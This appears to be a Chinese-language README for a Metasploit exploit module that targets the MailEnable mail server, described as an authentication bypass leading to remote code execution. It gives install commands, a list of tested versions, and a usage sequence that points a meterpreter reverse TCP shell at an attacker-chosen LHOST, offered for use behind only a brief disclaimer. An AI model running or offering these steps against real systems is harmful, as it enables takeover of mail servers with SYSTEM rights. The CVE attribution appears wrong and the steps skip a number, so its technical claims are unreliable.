MailEnable CVE-2022-36934 漏洞利用模块

用于 MailEnable 身份验证绕过漏洞 (CVE-2022-36934) 的 Metasploit 模块，可导致远程代码执行。

📌 功能特性

• 利用 MailEnable 在 SMTP/POP3 中的不当输入清理
• 支持 x86 和 x64 Windows 目标
• 无需用户交互（通过精心构造的邮件自动触发）
• 适用于 MailEnable 版本 < 10.40

🚀 安装

1. 复制到 Metasploit 模块目录：

   cp modules/exploits/windows/smtp/mailenable_authbypass_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smtp/
   
   

2. 在 msfconsole 中重新加载模块：

reload_all

4. 用法：

use exploit/windows/smtp/mailenable_authbypass_rce set RHOSTS <target_ip> set LHOST <your_ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit

🎯 测试目标：

MailEnable Professional	10.25	Windows Server 2019
MailEnable Enterprise	10.30	Windows Server 2016

📝 技术细节：

• 漏洞：通过 SMTP/POP3 中的类 SQL 注入语法实现身份验证绕过
• 攻击向量：网络（端口 25/110）
• 权限：以 MailEnable 服务账户运行（通常是 SYSTEM）

⚠️ 法律免责声明： 此工具仅用于授权测试。请勿对您不拥有或未经明确许可的系统使用。